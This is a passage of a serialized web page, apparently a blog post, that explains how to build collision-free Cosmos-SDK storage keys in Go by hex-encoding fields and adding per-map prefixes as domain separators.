"children":93922},{"style":598},[93923],{"type":29,"value":92013},{"type":24,"tag":271,"props":93925,"children":93926},{"style":288},[93927],{"type":29,"value":4028},{"type":24,"tag":271,"props":93929,"children":93930},{"class":273,"line":10468},[93931,93935],{"type":24,"tag":271,"props":93932,"children":93933},{"style":378},[93934],{"type":29,"value":93493},{"type":24,"tag":271,"props":93936,"children":93937},{"style":288},[93938],{"type":29,"value":638},{"type":24,"tag":271,"props":93940,"children":93941},{"class":273,"line":39951},[93942,93946],{"type":24,"tag":271,"props":93943,"children":93944},{"style":630},[93945],{"type":29,"value":93505},{"type":24,"tag":271,"props":93947,"children":93948},{"style":288},[93949],{"type":29,"value":638},{"type":24,"tag":271,"props":93951,"children":93952},{"class":273,"line":39972},[93953,93957],{"type":24,"tag":271,"props":93954,"children":93955},{"style":630},[93956],{"type":29,"value":93517},{"type":24,"tag":271,"props":93958,"children":93959},{"style":288},[93960],{"type":29,"value":638},{"type":24,"tag":271,"props":93962,"children":93963},{"class":273,"line":87741},[93964,93968],{"type":24,"tag":271,"props":93965,"children":93966},{"style":630},[93967],{"type":29,"value":93529},{"type":24,"tag":271,"props":93969,"children":93970},{"style":288},[93971],{"type":29,"value":638},{"type":24,"tag":271,"props":93973,"children":93974},{"class":273,"line":87754},[93975,93979],{"type":24,"tag":271,"props":93976,"children":93977},{"style":630},[93978],{"type":29,"value":93517},{"type":24,"tag":271,"props":93980,"children":93981},{"style":288},[93982],{"type":29,"value":638},{"type":24,"tag":271,"props":93984,"children":93985},{"class":273,"line":87762},[93986,93991],{"type":24,"tag":271,"props":93987,"children":93988},{"style":630},[93989],{"type":29,"value":93990}," addressNameEncoded",{"type":24,"tag":271,"props":93992,"children":93993},{"style":288},[93994],{"type":29,"value":638},{"type":24,"tag":271,"props":93996,"children":93997},{"class":273,"line":87770},[93998],{"type":24,"tag":271,"props":93999,"children":94000},{"style":288},[94001],{"type":29,"value":31595},{"type":24,"tag":271,"props":94003,"children":94004},{"class":273,"line":87778},[94005],{"type":24,"tag":271,"props":94006,"children":94007},{"style":288},[94008],{"type":29,"value":1171},{"type":24,"tag":25,"props":94010,"children":94011},{},[94012,94014,94019],{"type":29,"value":94013},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":24,"tag":135,"props":94015,"children":94017},{"className":94016},[],[94018],{"type":29,"value":91767},{"type":29,"value":94020},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":24,"tag":261,"props":94022,"children":94024},{"code":94023},"vaultId = 1, username = \"a\", positionName = \"b\"\n => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n => AddressMapKey = \"1|a||b\"\n",[94025],{"type":24,"tag":135,"props":94026,"children":94027},{"__ignoreMap":7},[94028],{"type":29,"value":94023},{"type":24,"tag":25,"props":94030,"children":94031},{},[94032],{"type":29,"value":94033},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":24,"tag":261,"props":94035,"children":94037},{"code":94036,"language":82954,"meta":7,"className":82955,"style":7},"const (\n Seperator = \"|\"\n PositionMapPrefix = \"\\x01\"\n AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n PositionMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n AddressMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[94038],{"type":24,"tag":135,"props":94039,"children":94040},{"__ignoreMap":7},[94041,94052,94067,94094,94119,94126,94133,94140,94155,94170,94197,94220,94239,94254,94289,94296,94331,94338,94357,94372,94407,94414,94449,94456,94483,94495,94507,94518,94529,94540,94551,94562,94569,94576,94583,94590,94605,94620,94647,94670,94689,94704,94739,94746,94781,94788,94807,94822,94857,94864,94899,94906,94933,94944,94956,94967,94978,94989,95000,95011,95019],{"type":24,"tag":271,"props":94042,"children":94043},{"class":273,"line":274},[94044,94048],{"type":24,"tag":271,"props":94045,"children":94046},{"style":278},[94047],{"type":29,"value":611},{"type":24,"tag":271,"props":94049,"children":94050},{"style":288},[94051],{"type":29,"value":85356},{"type":24,"tag":271,"props":94053,"children":94054},{"class":273,"line":284},[94055,94059,94063],{"type":24,"tag":271,"props":94056,"children":94057},{"style":630},[94058],{"type":29,"value":92121},{"type":24,"tag":271,"props":94060,"children":94061},{"style":624},[94062],{"type":29,"value":1712},{"type":24,"tag":271,"props":94064,"children":94065},{"style":378},[94066],{"type":29,"value":92130},{"type":24,"tag":271,"props":94068,"children":94069},{"class":273,"line":294},[94070,94075,94079,94084,94089],{"type":24,"tag":271,"props":94071,"children":94072},{"style":630},[94073],{"type":29,"value":94074}," PositionMapPrefix",{"type":24,"tag":271,"props":94076,"children":94077},{"style":624},[94078],{"type":29,"value":1712},{"type":24,"tag":271,"props":94080,"children":94081},{"style":378},[94082],{"type":29,"value":94083}," \"",{"type":24,"tag":271,"props":94085,"children":94086},{"style":5694},[94087],{"type":29,"value":94088},"\\x01",{"type":24,"tag":271,"props":94090,"children":94091},{"style":378},[94092],{"type":29,"value":94093},"\"\n",{"type":24,"tag":271,"props":94095,"children":94096},{"class":273,"line":303},[94097,94102,94106,94110,94115],{"type":24,"tag":271,"props":94098,"children":94099},{"style":630},[94100],{"type":29,"value":94101}," AddressMapPrefix",{"type":24,"tag":271,"props":94103,"children":94104},{"style":624},[94105],{"type":29,"value":1712},{"type":24,"tag":271,"props":94107,"children":94108},{"style":378},[94109],{"type":29,"value":94083},{"type":24,"tag":271,"props":94111,"children":94112},{"style":5694},[94113],{"type":29,"value":94114},"\\x02",{"type":24,"tag":271,"props":94116,"children":94117},{"style":378},[94118],{"type":29,"value":94093},{"type":24,"tag":271,"props":94120,"children":94121},{"class":273,"line":312},[94122],{"type":24,"tag":271,"props":94123,"children":94124},{"style":288},[94125],{"type":29,"value":694},{"type":24,"tag":271,"props":94127,"children":94128},{"class":273,"line":321},[94129],{"type":24,"tag":271,"props":94130,"children":94131},{"emptyLinePlaceholder":16},[94132],{"type":29,"value":327},{"type":24,"tag":271,"props":94134,"children":94135},{"class":273,"line":330},[94136],{"type":24,"tag":271,"props":94137,"children":94138},{"emptyLinePlaceholder":16},[94139],{"type":29,"value":327},{"type":24,"tag":271,"props":94141,"children":94142},{"class":273,"line":339},[94143,94147,94151],{"type":24,"tag":271,"props":94144,"children":94145},{"style":278},[94146],{"type":29,"value":83090},{"type":24,"tag":271,"props":94148,"children":94149},{"style":598},[94150],{"type":29,"value":93149},{"type":24,"tag":271,"props":94152,"children":94153},{"style":288},[94154],{"type":29,"value":4028},{"type":24,"tag":271,"props":94156,"children":94157},{"class":273,"line":347},[94158,94162,94166],{"type":24,"tag":271,"props":94159,"children":94160},{"style":630},[94161],{"type":29,"value":92037},{"type":24,"tag":271,"props":94163,"children":94164},{"style":3887},[94165],{"type":29,"value":83211},{"type":24,"tag":271,"props":94167,"children":94168},{"style":288},[94169],{"type":29,"value":638},{"type":24,"tag":271,"props":94171,"children":94172},{"class":273,"line":356},[94173,94177,94181,94185,94189,94193],{"type":24,"tag":271,"props":94174,"children":94175},{"style":630},[94176],{"type":29,"value":92049},{"type":24,"tag":271,"props":94178,"children":94179},{"style":288},[94180],{"type":29,"value":158},{"type":24,"tag":271,"props":94182,"children":94183},{"style":630},[94184],{"type":29,"value":92530},{"type":24,"tag":271,"props":94186,"children":94187},{"style":288},[94188],{"type":29,"value":83017},{"type":24,"tag":271,"props":94190,"children":94191},{"style":3887},[94192],{"type":29,"value":91555},{"type":24,"tag":271,"props":94194,"children":94195},{"style":288},[94196],{"type":29,"value":638},{"type":24,"tag":271,"props":94198,"children":94199},{"class":273,"line":365},[94200,94204,94208,94212,94216],{"type":24,"tag":271,"props":94201,"children":94202},{"style":288},[94203],{"type":29,"value":83172},{"type":24,"tag":271,"props":94205,"children":94206},{"style":630},[94207],{"type":29,"value":78944},{"type":24,"tag":271,"props":94209,"children":94210},{"style":288},[94211],{"type":29,"value":83017},{"type":24,"tag":271,"props":94213,"children":94214},{"style":3887},[94215],{"type":29,"value":91555},{"type":24,"tag":271,"props":94217,"children":94218},{"style":288},[94219],{"type":29,"value":919},{"type":24,"tag":271,"props":94221,"children":94222},{"class":273,"line":374},[94223,94227,94231,94235],{"type":24,"tag":271,"props":94224,"children":94225},{"style":630},[94226],{"type":29,"value":92651},{"type":24,"tag":271,"props":94228,"children":94229},{"style":624},[94230],{"type":29,"value":83206},{"type":24,"tag":271,"props":94232,"children":94233},{"style":598},[94234],{"type":29,"value":92354},{"type":24,"tag":271,"props":94236,"children":94237},{"style":288},[94238],{"type":29,"value":4028},{"type":24,"tag":271,"props":94240,"children":94241},{"class":273,"line":384},[94242,94246,94250],{"type":24,"tag":271,"props":94243,"children":94244},{"style":288},[94245],{"type":29,"value":93245},{"type":24,"tag":271,"props":94247,"children":94248},{"style":3887},[94249],{"type":29,"value":91555},{"type":24,"tag":271,"props":94251,"children":94252},{"style":288},[94253],{"type":29,"value":638},{"type":24,"tag":271,"props":94255,"children":94256},{"class":273,"line":393},[94257,94261,94265,94269,94273,94277,94281,94285],{"type":24,"tag":271,"props":94258,"children":94259},{"style":630},[94260],{"type":29,"value":93261},{"type":24,"tag":271,"props":94262,"children":94263},{"style":288},[94264],{"type":29,"value":41},{"type":24,"tag":271,"props":94266,"children":94267},{"style":598},[94268],{"type":29,"value":92391},{"type":24,"tag":271,"props":94270,"children":94271},{"style":288},[94272],{"type":29,"value":606},{"type":24,"tag":271,"props":94274,"children":94275},{"style":598},[94276],{"type":29,"value":8335},{"type":24,"tag":271,"props":94278,"children":94279},{"style":288},[94280],{"type":29,"value":606},{"type":24,"tag":271,"props":94282,"children":94283},{"style":630},[94284],{"type":29,"value":92261},{"type":24,"tag":271,"props":94286,"children":94287},{"style":288},[94288],{"type":29,"value":92412},{"type":24,"tag":271,"props":94290,"children":94291},{"class":273,"line":402},[94292],{"type":24,"tag":271,"props":94293,"children":94294},{"style":288},[94295],{"type":29,"value":31595},{"type":24,"tag":271,"props":94297,"children":94298},{"class":273,"line":411},[94299,94303,94307,94311,94315,94319,94323,94327],{"type":24,"tag":271,"props":94300,"children":94301},{"style":630},[94302],{"type":29,"value":92382},{"type":24,"tag":271,"props":94304,"children":94305},{"style":288},[94306],{"type":29,"value":41},{"type":24,"tag":271,"props":94308,"children":94309},{"style":598},[94310],{"type":29,"value":92436},{"type":24,"tag":271,"props":94312,"children":94313},{"style":288},[94314],{"type":29,"value":606},{"type":24,"tag":271,"props":94316,"children":94317},{"style":630},[94318],{"type":29,"value":92345},{"type":24,"tag":271,"props":94320,"children":94321},{"style":288},[94322],{"type":29,"value":158},{"type":24,"tag":271,"props":94324,"children":94325},{"style":630},[94326],{"type":29,"value":92261},{"type":24,"tag":271,"props":94328,"children":94329},{"style":288},[94330],{"type":29,"value":694},{"type":24,"tag":271,"props":94332,"children":94333},{"class":273,"line":420},[94334],{"type":24,"tag":271,"props":94335,"children":94336},{"emptyLinePlaceholder":16},[94337],{"type":29,"value":327},{"type":24,"tag":271,"props":94339,"children":94340},{"class":273,"line":429},[94341,94345,94349,94353],{"type":24,"tag":271,"props":94342,"children":94343},{"style":630},[94344],{"type":29,"value":93346},{"type":24,"tag":271,"props":94346,"children":94347},{"style":624},[94348],{"type":29,"value":83206},{"type":24,"tag":271,"props":94350,"children":94351},{"style":598},[94352],{"type":29,"value":92354},{"type":24,"tag":271,"props":94354,"children":94355},{"style":288},[94356],{"type":29,"value":4028},{"type":24,"tag":271,"props":94358,"children":94359},{"class":273,"line":438},[94360,94364,94368],{"type":24,"tag":271,"props":94361,"children":94362},{"style":288},[94363],{"type":29,"value":93245},{"type":24,"tag":271,"props":94365,"children":94366},{"style":3887},[94367],{"type":29,"value":91555},{"type":24,"tag":271,"props":94369,"children":94370},{"style":288},[94371],{"type":29,"value":638},{"type":24,"tag":271,"props":94373,"children":94374},{"class":273,"line":447},[94375,94379,94383,94387,94391,94395,94399,94403],{"type":24,"tag":271,"props":94376,"children":94377},{"style":630},[94378],{"type":29,"value":93261},{"type":24,"tag":271,"props":94380,"children":94381},{"style":288},[94382],{"type":29,"value":41},{"type":24,"tag":271,"props":94384,"children":94385},{"style":598},[94386],{"type":29,"value":92391},{"type":24,"tag":271,"props":94388,"children":94389},{"style":288},[94390],{"type":29,"value":606},{"type":24,"tag":271,"props":94392,"children":94393},{"style":598},[94394],{"type":29,"value":8335},{"type":24,"tag":271,"props":94396,"children":94397},{"style":288},[94398],{"type":29,"value":606},{"type":24,"tag":271,"props":94400,"children":94401},{"style":630},[94402],{"type":29,"value":92530},{"type":24,"tag":271,"props":94404,"children":94405},{"style":288},[94406],{"type":29,"value":92412},{"type":24,"tag":271,"props":94408,"children":94409},{"class":273,"line":455},[94410],{"type":24,"tag":271,"props":94411,"children":94412},{"style":288},[94413],{"type":29,"value":31595},{"type":24,"tag":271,"props":94415,"children":94416},{"class":273,"line":464},[94417,94421,94425,94429,94433,94437,94441,94445],{"type":24,"tag":271,"props":94418,"children":94419},{"style":630},[94420],{"type":29,"value":92382},{"type":24,"tag":271,"props":94422,"children":94423},{"style":288},[94424],{"type":29,"value":41},{"type":24,"tag":271,"props":94426,"children":94427},{"style":598},[94428],{"type":29,"value":92436},{"type":24,"tag":271,"props":94430,"children":94431},{"style":288},[94432],{"type":29,"value":606},{"type":24,"tag":271,"props":94434,"children":94435},{"style":630},[94436],{"type":29,"value":92471},{"type":24,"tag":271,"props":94438,"children":94439},{"style":288},[94440],{"type":29,"value":158},{"type":24,"tag":271,"props":94442,"children":94443},{"style":630},[94444],{"type":29,"value":92530},{"type":24,"tag":271,"props":94446,"children":94447},{"style":288},[94448],{"type":29,"value":694},{"type":24,"tag":271,"props":94450,"children":94451},{"class":273,"line":473},[94452],{"type":24,"tag":271,"props":94453,"children":94454},{"emptyLinePlaceholder":16},[94455],{"type":29,"value":327},{"type":24,"tag":271,"props":94457,"children":94458},{"class":273,"line":483},[94459,94463,94467,94471,94475,94479],{"type":24,"tag":271,"props":94460,"children":94461},{"style":630},[94462],{"type":29,"value":93465},{"type":24,"tag":271,"props":94464,"children":94465},{"style":624},[94466],{"type":29,"value":83206},{"type":24,"tag":271,"props":94468,"children":94469},{"style":630},[94470],{"type":29,"value":89024},{"type":24,"tag":271,"props":94472,"children":94473},{"style":288},[94474],{"type":29,"value":41},{"type":24,"tag":271,"props":94476,"children":94477},{"style":598},[94478],{"type":29,"value":92013},{"type":24,"tag":271,"props":94480,"children":94481},{"style":288},[94482],{"type":29,"value":4028},{"type":24,"tag":271,"props":94484,"children":94485},{"class":273,"line":491},[94486,94491],{"type":24,"tag":271,"props":94487,"children":94488},{"style":378},[94489],{"type":29,"value":94490}," \"%s%d%s%s%s%s\"",{"type":24,"tag":271,"props":94492,"children":94493},{"style":288},[94494],{"type":29,"value":638},{"type":24,"tag":271,"props":94496,"children":94497},{"class":273,"line":499},[94498,94503],{"type":24,"tag":271,"props":94499,"children":94500},{"style":630},[94501],{"type":29,"value":94502}," PositionMapPrefix",{"type":24,"tag":271,"props":94504,"children":94505},{"style":288},[94506],{"type":29,"value":638},{"type":24,"tag":271,"props":94508,"children":94509},{"class":273,"line":3188},[94510,94514],{"type":24,"tag":271,"props":94511,"children":94512},{"style":630},[94513],{"type":29,"value":93505},{"type":24,"tag":271,"props":94515,"children":94516},{"style":288},[94517],{"type":29,"value":638},{"type":24,"tag":271,"props":94519,"children":94520},{"class":273,"line":3247},[94521,94525],{"type":24,"tag":271,"props":94522,"children":94523},{"style":630},[94524],{"type":29,"value":93517},{"type":24,"tag":271,"props":94526,"children":94527},{"style":288},[94528],{"type":29,"value":638},{"type":24,"tag":271,"props":94530,"children":94531},{"class":273,"line":3255},[94532,94536],{"type":24,"tag":271,"props":94533,"children":94534},{"style":630},[94535],{"type":29,"value":93529},{"type":24,"tag":271,"props":94537,"children":94538},{"style":288},[94539],{"type":29,"value":638},{"type":24,"tag":271,"props":94541,"children":94542},{"class":273,"line":3263},[94543,94547],{"type":24,"tag":271,"props":94544,"children":94545},{"style":630},[94546],{"type":29,"value":93517},{"type":24,"tag":271,"props":94548,"children":94549},{"style":288},[94550],{"type":29,"value":638},{"type":24,"tag":271,"props":94552,"children":94553},{"class":273,"line":3293},[94554,94558],{"type":24,"tag":271,"props":94555,"children":94556},{"style":630},[94557],{"type":29,"value":93552},{"type":24,"tag":271,"props":94559,"children":94560},{"style":288},[94561],{"type":29,"value":638},{"type":24,"tag":271,"props":94563,"children":94564},{"class":273,"line":3301},[94565],{"type":24,"tag":271,"props":94566,"children":94567},{"style":288},[94568],{"type":29,"value":31595},{"type":24,"tag":271,"props":94570,"children":94571},{"class":273,"line":3683},[94572],{"type":24,"tag":271,"props":94573,"children":94574},{"style":288},[94575],{"type":29,"value":1171},{"type":24,"tag":271,"props":94577,"children":94578},{"class":273,"line":4486},[94579],{"type":24,"tag":271,"props":94580,"children":94581},{"emptyLinePlaceholder":16},[94582],{"type":29,"value":327},{"type":24,"tag":271,"props":94584,"children":94585},{"class":273,"line":4509},[94586],{"type":24,"tag":271,"props":94587,"children":94588},{"emptyLinePlaceholder":16},[94589],{"type":29,"value":327},{"type":24,"tag":271,"props":94591,"children":94592},{"class":273,"line":4545},[94593,94597,94601],{"type":24,"tag":271,"props":94594,"children":94595},{"style":278},[94596],{"type":29,"value":83090},{"type":24,"tag":271,"props":94598,"children":94599},{"style":598},[94600],{"type":29,"value":93596},{"type":24,"tag":271,"props":94602,"children":94603},{"style":288},[94604],{"type":29,"value":4028},{"type":24,"tag":271,"props":94606,"children":94607},{"class":273,"line":4591},[94608,94612,94616],{"type":24,"tag":271,"props":94609,"children":94610},{"style":630},[94611],{"type":29,"value":92037},{"type":24,"tag":271,"props":94613,"children":94614},{"style":3887},[94615],{"type":29,"value":83211},{"type":24,"tag":271,"props":94617,"children":94618},{"style":288},[94619],{"type":29,"value":638},{"type":24,"tag":271,"props":94621,"children":94622},{"class":273,"line":4628},[94623,94627,94631,94635,94639,94643],{"type":24,"tag":271,"props":94624,"children":94625},{"style":630},[94626],{"type":29,"value":92049},{"type":24,"tag":271,"props":94628,"children":94629},{"style":288},[94630],{"type":29,"value":158},{"type":24,"tag":271,"props":94632,"children":94633},{"style":630},[94634],{"type":29,"value":93631},{"type":24,"tag":271,"props":94636,"children":94637},{"style":288},[94638],{"type":29,"value":83017},{"type":24,"tag":271,"props":94640,"children":94641},{"style":3887},[94642],{"type":29,"value":91555},{"type":24,"tag":271,"props":94644,"children":94645},{"style":288},[94646],{"type":29,"value":638},{"type":24,"tag":271,"props":94648,"children":94649},{"class":273,"line":4658},[94650,94654,94658,94662,94666],{"type":24,"tag":271,"props":94651,"children":94652},{"style":288},[94653],{"type":29,"value":83172},{"type":24,"tag":271,"props":94655,"children":94656},{"style":630},[94657],{"type":29,"value":78944},{"type":24,"tag":271,"props":94659,"children":94660},{"style":288},[94661],{"type":29,"value":83017},{"type":24,"tag":271,"props":94663,"children":94664},{"style":3887},[94665],{"type":29,"value":91555},{"type":24,"tag":271,"props":94667,"children":94668},{"style":288},[94669],{"type":29,"value":919},{"type":24,"tag":271,"props":94671,"children":94672},{"class":273,"line":4666},[94673,94677,94681,94685],{"type":24,"tag":271,"props":94674,"children":94675},{"style":630},[94676],{"type":29,"value":92651},{"type":24,"tag":271,"props":94678,"children":94679},{"style":624},[94680],{"type":29,"value":83206},{"type":24,"tag":271,"props":94682,"children":94683},{"style":598},[94684],{"type":29,"value":92354},{"type":24,"tag":271,"props":94686,"children":94687},{"style":288},[94688],{"type":29,"value":4028},{"type":24,"tag":271,"props":94690,"children":94691},{"class":273,"line":4674},[94692,94696,94700],{"type":24,"tag":271,"props":94693,"children":94694},{"style":288},[94695],{"type":29,"value":93245},{"type":24,"tag":271,"props":94697,"children":94698},{"style":3887},[94699],{"type":29,"value":91555},{"type":24,"tag":271,"props":94701,"children":94702},{"style":288},[94703],{"type":29,"value":638},{"type":24,"tag":271,"props":94705,"children":94706},{"class":273,"line":4683},[94707,94711,94715,94719,94723,94727,94731,94735],{"type":24,"tag":271,"props":94708,"children":94709},{"style":630},[94710],{"type":29,"value":93261},{"type":24,"tag":271,"props":94712,"children":94713},{"style":288},[94714],{"type":29,"value":41},{"type":24,"tag":271,"props":94716,"children":94717},{"style":598},[94718],{"type":29,"value":92391},{"type":24,"tag":271,"props":94720,"children":94721},{"style":288},[94722],{"type":29,"value":606},{"type":24,"tag":271,"props":94724,"children":94725},{"style":598},[94726],{"type":29,"value":8335},{"type":24,"tag":271,"props":94728,"children":94729},{"style":288},[94730],{"type":29,"value":606},{"type":24,"tag":271,"props":94732,"children":94733},{"style":630},[94734],{"type":29,"value":92261},{"type":24,"tag":271,"props":94736,"children":94737},{"style":288},[94738],{"type":29,"value":92412},{"type":24,"tag":271,"props":94740,"children":94741},{"class":273,"line":4691},[94742],{"type":24,"tag":271,"props":94743,"children":94744},{"style":288},[94745],{"type":29,"value":31595},{"type":24,"tag":271,"props":94747,"children":94748},{"class":273,"line":4708},[94749,94753,94757,94761,94765,94769,94773,94777],{"type":24,"tag":271,"props":94750,"children":94751},{"style":630},[94752],{"type":29,"value":92382},{"type":24,"tag":271,"props":94754,"children":94755},{"style":288},[94756],{"type":29,"value":41},{"type":24,"tag":271,"props":94758,"children":94759},{"style":598},[94760],{"type":29,"value":92436},{"type":24,"tag":271,"props":94762,"children":94763},{"style":288},[94764],{"type":29,"value":606},{"type":24,"tag":271,"props":94766,"children":94767},{"style":630},[94768],{"type":29,"value":92345},{"type":24,"tag":271,"props":94770,"children":94771},{"style":288},[94772],{"type":29,"value":158},{"type":24,"tag":271,"props":94774,"children":94775},{"style":630},[94776],{"type":29,"value":92261},{"type":24,"tag":271,"props":94778,"children":94779},{"style":288},[94780],{"type":29,"value":694},{"type":24,"tag":271,"props":94782,"children":94783},{"class":273,"line":4716},[94784],{"type":24,"tag":271,"props":94785,"children":94786},{"emptyLinePlaceholder":16},[94787],{"type":29,"value":327},{"type":24,"tag":271,"props":94789,"children":94790},{"class":273,"line":10423},[94791,94795,94799,94803],{"type":24,"tag":271,"props":94792,"children":94793},{"style":630},[94794],{"type":29,"value":93788},{"type":24,"tag":271,"props":94796,"children":94797},{"style":624},[94798],{"type":29,"value":83206},{"type":24,"tag":271,"props":94800,"children":94801},{"style":598},[94802],{"type":29,"value":92354},{"type":24,"tag":271,"props":94804,"children":94805},{"style":288},[94806],{"type":29,"value":4028},{"type":24,"tag":271,"props":94808,"children":94809},{"class":273,"line":10431},[94810,94814,94818],{"type":24,"tag":271,"props":94811,"children":94812},{"style":288},[94813],{"type":29,"value":93245},{"type":24,"tag":271,"props":94815,"children":94816},{"style":3887},[94817],{"type":29,"value":91555},{"type":24,"tag":271,"props":94819,"children":94820},{"style":288},[94821],{"type":29,"value":638},{"type":24,"tag":271,"props":94823,"children":94824},{"class":273,"line":10439},[94825,94829,94833,94837,94841,94845,94849,94853],{"type":24,"tag":271,"props":94826,"children":94827},{"style":630},[94828],{"type":29,"value":93261},{"type":24,"tag":271,"props":94830,"children":94831},{"style":288},[94832],{"type":29,"value":41},{"type":24,"tag":271,"props":94834,"children":94835},{"style":598},[94836],{"type":29,"value":92391},{"type":24,"tag":271,"props":94838,"children":94839},{"style":288},[94840],{"type":29,"value":606},{"type":24,"tag":271,"props":94842,"children":94843},{"style":598},[94844],{"type":29,"value":8335},{"type":24,"tag":271,"props":94846,"children":94847},{"style":288},[94848],{"type":29,"value":606},{"type":24,"tag":271,"props":94850,"children":94851},{"style":630},[94852],{"type":29,"value":93631},{"type":24,"tag":271,"props":94854,"children":94855},{"style":288},[94856],{"type":29,"value":92412},{"type":24,"tag":271,"props":94858,"children":94859},{"class":273,"line":10447},[94860],{"type":24,"tag":271,"props":94861,"children":94862},{"style":288},[94863],{"type":29,"value":31595},{"type":24,"tag":271,"props":94865,"children":94866},{"class":273,"line":10468},[94867,94871,94875,94879,94883,94887,94891,94895],{"type":24,"tag":271,"props":94868,"children":94869},{"style":630},[94870],{"type":29,"value":92382},{"type":24,"tag":271,"props":94872,"children":94873},{"style":288},[94874],{"type":29,"value":41},{"type":24,"tag":271,"props":94876,"children":94877},{"style":598},[94878],{"type":29,"value":92436},{"type":24,"tag":271,"props":94880,"children":94881},{"style":288},[94882],{"type":29,"value":606},{"type":24,"tag":271,"props":94884,"children":94885},{"style":630},[94886],{"type":29,"value":93881},{"type":24,"tag":271,"props":94888,"children":94889},{"style":288},[94890],{"type":29,"value":158},{"type":24,"tag":271,"props":94892,"children":94893},{"style":630},[94894],{"type":29,"value":93631},{"type":24,"tag":271,"props":94896,"children":94897},{"style":288},[94898],{"type":29,"value":694},{"type":24,"tag":271,"props":94900,"children":94901},{"class":273,"line":39951},[94902],{"type":24,"tag":271,"props":94903,"children":94904},{"emptyLinePlaceholder":16},[94905],{"type":29,"value":327},{"type":24,"tag":271,"props":94907,"children":94908},{"class":273,"line":39972},[94909,94913,94917,94921,94925,94929],{"type":24,"tag":271,"props":94910,"children":94911},{"style":630},[94912],{"type":29,"value":93465},{"type":24,"tag":271,"props":94914,"children":94915},{"style":624},[94916],{"type":29,"value":83206},{"type":24,"tag":271,"props":94918,"children":94919},{"style":630},[94920],{"type":29,"value":89024},{"type":24,"tag":271,"props":94922,"children":94923},{"style":288},[94924],{"type":29,"value":41},{"type":24,"tag":271,"props":94926,"children":94927},{"style":598},[94928],{"type":29,"value":92013},{"type":24,"tag":271,"props":94930,"children":94931},{"style":288},[94932],{"type":29,"value":4028},{"type":24,"tag":271,"props":94934,"children":94935},{"class":273,"line":87741},[94936,94940],{"type":24,"tag":271,"props":94937,"children":94938},{"style":378},[94939],{"type":29,"value":94490},{"type":24,"tag":271,"props":94941,"children":94942},{"style":288},[94943],{"type":29,"value":638},{"type":24,"tag":271,"props":94945,"children":94946},{"class":273,"line":87754},[94947,94952],{"type":24,"tag":271,"props":94948,"children":94949},{"style":630},[94950],{"type":29,"value":94951}," AddressMapPrefix",{"type":24,"tag":271,"props":94953,"children":94954},{"style":288},[94955],{"type":29,"value":638},{"type":24,"tag":271,"props":94957,"children":94958},{"class":273,"line":87762},[94959,94963],{"type":24,"tag":271,"props":94960,"children":94961},{"style":630},[94962],{"type":29,"value":93505},{"type":24,"tag":271,"props":94964,"children":94965},{"style":288},[94966],{"type":29,"value":638},{"type":24,"tag":271,"props":94968,"children":94969},{"class":273,"line":87770},[94970,94974],{"type":24,"tag":271,"props":94971,"children":94972},{"style":630},[94973],{"type":29,"value":93517},{"type":24,"tag":271,"props":94975,"children":94976},{"style":288},[94977],{"type":29,"value":638},{"type":24,"tag":271,"props":94979,"children":94980},{"class":273,"line":87778},[94981,94985],{"type":24,"tag":271,"props":94982,"children":94983},{"style":630},[94984],{"type":29,"value":93529},{"type":24,"tag":271,"props":94986,"children":94987},{"style":288},[94988],{"type":29,"value":638},{"type":24,"tag":271,"props":94990,"children":94991},{"class":273,"line":87818},[94992,94996],{"type":24,"tag":271,"props":94993,"children":94994},{"style":630},[94995],{"type":29,"value":93517},{"type":24,"tag":271,"props":94997,"children":94998},{"style":288},[94999],{"type":29,"value":638},{"type":24,"tag":271,"props":95001,"children":95002},{"class":273,"line":87826},[95003,95007],{"type":24,"tag":271,"props":95004,"children":95005},{"style":630},[95006],{"type":29,"value":93990},{"type":24,"tag":271,"props":95008,"children":95009},{"style":288},[95010],{"type":29,"value":638},{"type":24,"tag":271,"props":95012,"children":95014},{"class":273,"line":95013},60,[95015],{"type":24,"tag":271,"props":95016,"children":95017},{"style":288},[95018],{"type":29,"value":31595},{"type":24,"tag":271,"props":95020,"children":95022},{"class":273,"line":95021},61,[95023],{"type":24,"tag":271,"props":95024,"children":95025},{"style":288},[95026],{"type":29,"value":1171},{"type":24,"tag":25,"props":95028,"children":95029},{},[95030],{"type":29,"value":95031},"We now have a proper example of how to serialize storage keys.",{"type":24,"tag":25,"props":95033,"children":95034},{},[95035,95037,95042],{"type":29,"value":95036},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":24,"tag":135,"props":95038,"children":95040},{"className":95039},[],[95041],{"type":29,"value":73889},{"type":29,"value":95043},", data should still be retrievable through original keys.",{"type":24,"tag":25,"props":95045,"children":95046},{},[95047,95049,95055,95057,95062],{"type":29,"value":95048},"Let's look at a case where we want to retrieve all ",{"type":24,"tag":135,"props":95050,"children":95052},{"className":95051},[],[95053],{"type":29,"value":95054},"map[Username]map[PositionName]Position",{"type":29,"value":95056}," associated with a ",{"type":24,"tag":135,"props":95058,"children":95060},{"className":95059},[],[95061],{"type":29,"value":91925},{"type":29,"value":95063}," from the storage. How can we safely accomplish this?",{"type":24,"tag":25,"props":95065,"children":95066},{},[95067,95069,95074,95076,95082],{"type":29,"value":95068},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a 